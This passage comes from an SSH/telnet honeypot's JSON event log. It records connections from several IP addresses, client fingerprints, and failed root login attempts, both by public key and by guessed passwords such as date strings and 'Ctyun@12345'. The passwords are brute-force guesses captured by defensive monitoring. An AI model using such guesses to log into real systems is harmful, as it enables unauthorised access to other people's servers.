openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:50.267535Z","src_ip":"185.236.22.41","session":"14297710c9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02041990","message":"login attempt [root/02041990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:50.730654Z","src_ip":"185.236.22.41","session":"14297710c9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:51.850834Z","src_ip":"185.236.22.41","session":"14297710c9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":38552,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca93ae893ad9","protocol":"ssh","message":"New connection: 89.45.12.16:38552 (10.17.0.5:22) [session: ca93ae893ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:02.334631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:02.344449Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:02.487347Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:2c:ba:14:05:34:c3:de:93:8e:92:c2:d9:e9:95:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1RWo1+xujea9Gl3Dhnan8+5/7lruYuhIv7Tot38x+y7qN5o4ORc7RjokOFEyQwVcfeiddv38RJX3QstrVm+Ras0A5RdF8r5f5y7NP5QVu3rTCcEi7/oO5p8HI6zmOwvsZZJIrAapF4ulexf3L3B9tQjVlICD+4nwx02Km/nQ57X1qdaZky7RbfJ5ybORfG0OP0shdi6dEVZtCdsYct9NpbKqh16/YojsstAWvqOqpkYpCF5ZOT9lBEVYDAvLNg4x3Idm+64PCED/blas05AyeKiXbo3yWJZwUCQzzDKjlBbjmwT9gGDJ6aNm1bNpS8cOBpROm0OmxlawQww/AzryOJR1E7IQMuVb/SAM7Su7v8tXP8bkVmKQwseXwrPDra+RgnqTHt2IqlJAh2P6dJIrklXTAkdrlOAe6cTehJggNYsr+hrvErjy/fCPctxoVfo8HieqVD2ijBCjnsjbwF/ickTVbZE3/H5yVwOb8aoIqtWdZPvOCvP/2F6bM3LVD1GthHKoZurW3mpFiB4xVLR4Kt2j5VS0M+SIwdux5sVMscvvqROakqy9gHdlJX5wefX3L4ajK+FHDJvA/4Ntgd5C6JFDvZ2HTO5Qe5oLg40oiV+Wy/+5T/LpZP36wqjU8gTn+nneTJ2LdBm/nvHU0GtCviol5NS7OPghF+nUwfhmZSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:2c:ba:14:05:34:c3:de:93:8e:92:c2:d9:e9:95:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.104713Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:2c:ba:14:05:34:c3:de:93:8e:92:c2:d9:e9:95:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1RWo1+xujea9Gl3Dhnan8+5/7lruYuhIv7Tot38x+y7qN5o4ORc7RjokOFEyQwVcfeiddv38RJX3QstrVm+Ras0A5RdF8r5f5y7NP5QVu3rTCcEi7/oO5p8HI6zmOwvsZZJIrAapF4ulexf3L3B9tQjVlICD+4nwx02Km/nQ57X1qdaZky7RbfJ5ybORfG0OP0shdi6dEVZtCdsYct9NpbKqh16/YojsstAWvqOqpkYpCF5ZOT9lBEVYDAvLNg4x3Idm+64PCED/blas05AyeKiXbo3yWJZwUCQzzDKjlBbjmwT9gGDJ6aNm1bNpS8cOBpROm0OmxlawQww/AzryOJR1E7IQMuVb/SAM7Su7v8tXP8bkVmKQwseXwrPDra+RgnqTHt2IqlJAh2P6dJIrklXTAkdrlOAe6cTehJggNYsr+hrvErjy/fCPctxoVfo8HieqVD2ijBCjnsjbwF/ickTVbZE3/H5yVwOb8aoIqtWdZPvOCvP/2F6bM3LVD1GthHKoZurW3mpFiB4xVLR4Kt2j5VS0M+SIwdux5sVMscvvqROakqy9gHdlJX5wefX3L4ajK+FHDJvA/4Ntgd5C6JFDvZ2HTO5Qe5oLg40oiV+Wy/+5T/LpZP36wqjU8gTn+nneTJ2LdBm/nvHU0GtCviol5NS7OPghF+nUwfhmZSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.110115Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:61:1d:3e:9f:30:40:49:04:cc:75:d1:2c:11:6d:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiXw5VPNNS6BCMk/vbHCF5/ph0qAHN36tgNM3S8cckxHV+Liew7Xa0s1l2seMy4otm/tF2GHu6Y/TC2D8PDXWiI6oTz6z7tQs3CnXxVQHl5hyTM2OLGabwhemDLI5aL7wWG6ygtfT+bG/yB38JNvxe74/1BfUFfkrxXkpD4CKkFwKkvgFWeOzC4q3SOrGl9f71YREuJDSE/JRTXDJHi5FvRZxYeGddYf3tvEAX9vdysOjLES4hWIHCKQzVJOlMFpt4dlp6fx8Osk3s28+Gt5unSWMT4ELmol5ZFTMFqdrOX0MmC2b5yZ1WQrT6JIPe6lVJiOVF0heVp7c8d/7zSKYDmOMNPlXZwFhjwB/UduQDPtGem3O18QzTx05OdkzlyZoyaM6D68x9Jzb5KUz8R1a6VT8NkHuzhI4CGKqg6Bv4T7K7erki5BRuHPOZjb+RnVL1KuwDv7ePsQef+VE41cxyzmtgXf9fEdxOiPeaRA6jxk07rLbljyOYZCd/nHnD7D6kb2ApgRA0YX2zkooYzMKIA688iWOG+KsJmgXg9/cMo/vJxVnNIfpCoo8M51Br+97alT9Z+azQyIp35zhiCTs1BKcakPwhCo+0v7d9sJiSWK1MxWncwOj5VtYM1hRg76g32A/WNLbEoVY7WxL9yG75nMmiKqcNlBg9ZLxawIyK/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:61:1d:3e:9f:30:40:49:04:cc:75:d1:2c:11:6d:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.243590Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:61:1d:3e:9f:30:40:49:04:cc:75:d1:2c:11:6d:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiXw5VPNNS6BCMk/vbHCF5/ph0qAHN36tgNM3S8cckxHV+Liew7Xa0s1l2seMy4otm/tF2GHu6Y/TC2D8PDXWiI6oTz6z7tQs3CnXxVQHl5hyTM2OLGabwhemDLI5aL7wWG6ygtfT+bG/yB38JNvxe74/1BfUFfkrxXkpD4CKkFwKkvgFWeOzC4q3SOrGl9f71YREuJDSE/JRTXDJHi5FvRZxYeGddYf3tvEAX9vdysOjLES4hWIHCKQzVJOlMFpt4dlp6fx8Osk3s28+Gt5unSWMT4ELmol5ZFTMFqdrOX0MmC2b5yZ1WQrT6JIPe6lVJiOVF0heVp7c8d/7zSKYDmOMNPlXZwFhjwB/UduQDPtGem3O18QzTx05OdkzlyZoyaM6D68x9Jzb5KUz8R1a6VT8NkHuzhI4CGKqg6Bv4T7K7erki5BRuHPOZjb+RnVL1KuwDv7ePsQef+VE41cxyzmtgXf9fEdxOiPeaRA6jxk07rLbljyOYZCd/nHnD7D6kb2ApgRA0YX2zkooYzMKIA688iWOG+KsJmgXg9/cMo/vJxVnNIfpCoo8M51Br+97alT9Z+azQyIp35zhiCTs1BKcakPwhCo+0v7d9sJiSWK1MxWncwOj5VtYM1hRg76g32A/WNLbEoVY7WxL9yG75nMmiKqcNlBg9ZLxawIyK/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.249354Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:78:4f:e5:a2:00:83:28:43:9a:a7:63:6a:7c:8c:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX8oWV5c/L1ahwdNfeL9vZnBv6F/XAvhAXvbnj6b5cjAVHLQj+9s6lsvZrqlOyfiAi34CNKrxwm0jb0MLhwcOf9ImQ/NoaYv4I8FIei2vKa4P5jxhLhVPMbBxy/CLetRCKYPc2AIpe0rVllmb1aQV90XB6H800PoOYDIbqcApAUgxY2Ze0MxaphEmo0P/IGW5o1b5gv2QQ5Dd+Fqlm7WxvA6qXKdmbO411HAwl7L/E1yDu4ARiVkMB/5YC7ar9XJnJkNnPdnRzP1TmP/VJRrfu1vdLXcXmdelUzbqU7m+NKa14VCcig/8tJwRv28BnsHzh/sKSogwIdRM7xnwtMbR7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:78:4f:e5:a2:00:83:28:43:9a:a7:63:6a:7c:8c:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.393031Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:78:4f:e5:a2:00:83:28:43:9a:a7:63:6a:7c:8c:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX8oWV5c/L1ahwdNfeL9vZnBv6F/XAvhAXvbnj6b5cjAVHLQj+9s6lsvZrqlOyfiAi34CNKrxwm0jb0MLhwcOf9ImQ/NoaYv4I8FIei2vKa4P5jxhLhVPMbBxy/CLetRCKYPc2AIpe0rVllmb1aQV90XB6H800PoOYDIbqcApAUgxY2Ze0MxaphEmo0P/IGW5o1b5gv2QQ5Dd+Fqlm7WxvA6qXKdmbO411HAwl7L/E1yDu4ARiVkMB/5YC7ar9XJnJkNnPdnRzP1TmP/VJRrfu1vdLXcXmdelUzbqU7m+NKa14VCcig/8tJwRv28BnsHzh/sKSogwIdRM7xnwtMbR7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.401727Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:40:d3:54:10:60:fe:5f:47:2c:33:72:81:84:b5:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcwvmNLdeoc33tDc1hhbdghZDY1o/6OHGvMUaDViCkTTpvjgKTJt4xM6s0R+KgK5zXUcgPTvyLekq7+XRv1nlppc1dm8vZR1XlfXwnwna4U18IiIQ45GRfrFaXbawPuTzFBfsn7q46btkoxs8/DEwJRm6ye4yV2MyCKZbEvGsS2DIcEggfGQhe4G7eQgwCoJS1erwgqJGUJ/eMe3z5UQIcUzVCdbdFTIx/yCxQ+SJ1EBdTIzt6mogwLZiRrqQJADSRBz/1X4XcH3Ur3zhGmrpv7F1hi4TP0l89og0ztXxZc9lRjXBYWoNHjb2Oo6p68ue+Vw0Uax73h5TZVhovbTN7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:40:d3:54:10:60:fe:5f:47:2c:33:72:81:84:b5:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.544678Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:40:d3:54:10:60:fe:5f:47:2c:33:72:81:84:b5:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcwvmNLdeoc33tDc1hhbdghZDY1o/6OHGvMUaDViCkTTpvjgKTJt4xM6s0R+KgK5zXUcgPTvyLekq7+XRv1nlppc1dm8vZR1XlfXwnwna4U18IiIQ45GRfrFaXbawPuTzFBfsn7q46btkoxs8/DEwJRm6ye4yV2MyCKZbEvGsS2DIcEggfGQhe4G7eQgwCoJS1erwgqJGUJ/eMe3z5UQIcUzVCdbdFTIx/yCxQ+SJ1EBdTIzt6mogwLZiRrqQJADSRBz/1X4XcH3Ur3zhGmrpv7F1hi4TP0l89og0ztXxZc9lRjXBYWoNHjb2Oo6p68ue+Vw0Uax73h5TZVhovbTN7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.549905Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:a0:ac:b3:23:e8:38:05:60:e9:ca:6a:0c:81:e1:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgCoCmZR9ekLyDlTEZzoptpL1lr4Z7iqmtUuFqnf2x5q+QEQns/9m0y48WJJHTtCW2b+EWVi3v2A8CkOgRqCuHruPNpA3rZJx2nP6OOL1i8MEXOwb2xtKGjzaiWoBY4o5CrifjjGI9TXXxEi/d5L9yGbmqJQw3qowWwV9Bzo1jC9drQiijJVOliobEENEDmp9Fi0w0qlTH3oc+5JrTsF4sY9K8sW4ZuKPQWO4tV8vVqNHa3G8Ig/5/WxFXsZLpqtdhuXuA51GI+TCpnjKf3Mdz2cyMR/2SZNdCfDUrD5NTF17jvJg4JkKqZXdalIsbDum916gg/1PGc07l/4YNgZ9x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:a0:ac:b3:23:e8:38:05:60:e9:ca:6a:0c:81:e1:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.687393Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:a0:ac:b3:23:e8:38:05:60:e9:ca:6a:0c:81:e1:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgCoCmZR9ekLyDlTEZzoptpL1lr4Z7iqmtUuFqnf2x5q+QEQns/9m0y48WJJHTtCW2b+EWVi3v2A8CkOgRqCuHruPNpA3rZJx2nP6OOL1i8MEXOwb2xtKGjzaiWoBY4o5CrifjjGI9TXXxEi/d5L9yGbmqJQw3qowWwV9Bzo1jC9drQiijJVOliobEENEDmp9Fi0w0qlTH3oc+5JrTsF4sY9K8sW4ZuKPQWO4tV8vVqNHa3G8Ig/5/WxFXsZLpqtdhuXuA51GI+TCpnjKf3Mdz2cyMR/2SZNdCfDUrD5NTF17jvJg4JkKqZXdalIsbDum916gg/1PGc07l/4YNgZ9x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.693625Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:45:03.826182Z","src_ip":"89.45.12.16","session":"ca93ae893ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50040,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3176bc03acd","protocol":"ssh","message":"New connection: 194.113.233.25:50040 (159.203.135.109:22) [session: f3176bc03acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:06.955207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:06.960400Z","src_ip":"194.113.233.25","session":"f3176bc03acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:07.054681Z","src_ip":"194.113.233.25","session":"f3176bc03acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15071991","message":"login attempt [root/15071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:07.337838Z","src_ip":"194.113.233.25","session":"f3176bc03acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:08.435581Z","src_ip":"194.113.233.25","session":"f3176bc03acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.55.131.3","src_port":47018,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7193a0d3e4","protocol":"telnet","message":"New connection: 203.55.131.3:47018 (159.203.135.109:23) [session: eb7193a0d3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:24.176019Z"}
{"eventid":"cowrie.session.closed","duration":0.005509853363037109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:24.181407Z","src_ip":"203.55.131.3","session":"eb7193a0d3e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.127.77.227","src_port":34548,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec17dc580a2b","protocol":"telnet","message":"New connection: 222.127.77.227:34548 (159.203.135.109:23) [session: ec17dc580a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:30.538122Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":52452,"dst_ip":"159.203.135.109","dst_port":22,"session":"56d2693a618d","protocol":"ssh","message":"New connection: 103.13.206.227:52452 (159.203.135.109:22) [session: 56d2693a618d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:40.709715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:40.714886Z","src_ip":"103.13.206.227","session":"56d2693a618d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:40.948593Z","src_ip":"103.13.206.227","session":"56d2693a618d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ctyun@12345","message":"login attempt [root/Ctyun@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:41.916434Z","src_ip":"103.13.206.227","session":"56d2693a618d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:43.152469Z","src_ip":"103.13.206.227","session":"56d2693a618d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.91941523551941,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:46:43.457436Z","src_ip":"222.127.77.227","session":"ec17dc580a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":44516,"dst_ip":"159.203.135.109","dst_port":22,"session":"144f9454ab06","protocol":"ssh","message":"New connection: 62.133.63.178:44516 (159.203.135.109:22) [session: 144f9454ab06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:17.047940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:17.053652Z","src_ip":"62.133.63.178","session":"144f9454ab06","protocol":"ssh"}
